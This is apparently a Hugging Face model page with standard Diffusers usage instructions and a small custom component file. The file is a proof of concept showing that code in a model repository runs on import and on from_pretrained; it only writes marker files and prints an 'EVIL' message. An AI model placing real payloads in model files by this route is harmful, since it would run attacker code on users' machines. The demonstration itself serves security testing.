Instructions to use hlky/tiny-sdxl-custom-components-automodel with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Diffusers
How to use hlky/tiny-sdxl-custom-components-automodel with Diffusers:
pip install -U diffusers transformers accelerate
import torch from diffusers import DiffusionPipeline # switch to "mps" for apple devices pipe = DiffusionPipeline.from_pretrained("hlky/tiny-sdxl-custom-components-automodel", dtype=torch.bfloat16, device_map="cuda") prompt = "Astronaut in a jungle, cold color palette, muted colors, detailed, 8k" image = pipe(prompt).images[0] - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- Draw Things
- DiffusionBee
File size: 590 Bytes
fb74498 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pathlib import Path
MARKER_DIR = Path('automodel_poc')
MARKER_DIR.mkdir(parents=True, exist_ok=True)
(MARKER_DIR / 'import_executed.txt').write_text('evil module imported\n')
class UNet2DConditionModel:
@classmethod
def from_pretrained(cls, pretrained_model_or_path, **kwargs):
MARKER_DIR.mkdir(parents=True, exist_ok=True)
(MARKER_DIR / 'from_pretrained_executed.txt').write_text(
f'from_pretrained called path={pretrained_model_or_path} kwargs={kwargs}\n'
)
print('EVIL_FROM_PRETRAINED_EXECUTED')
return cls()
|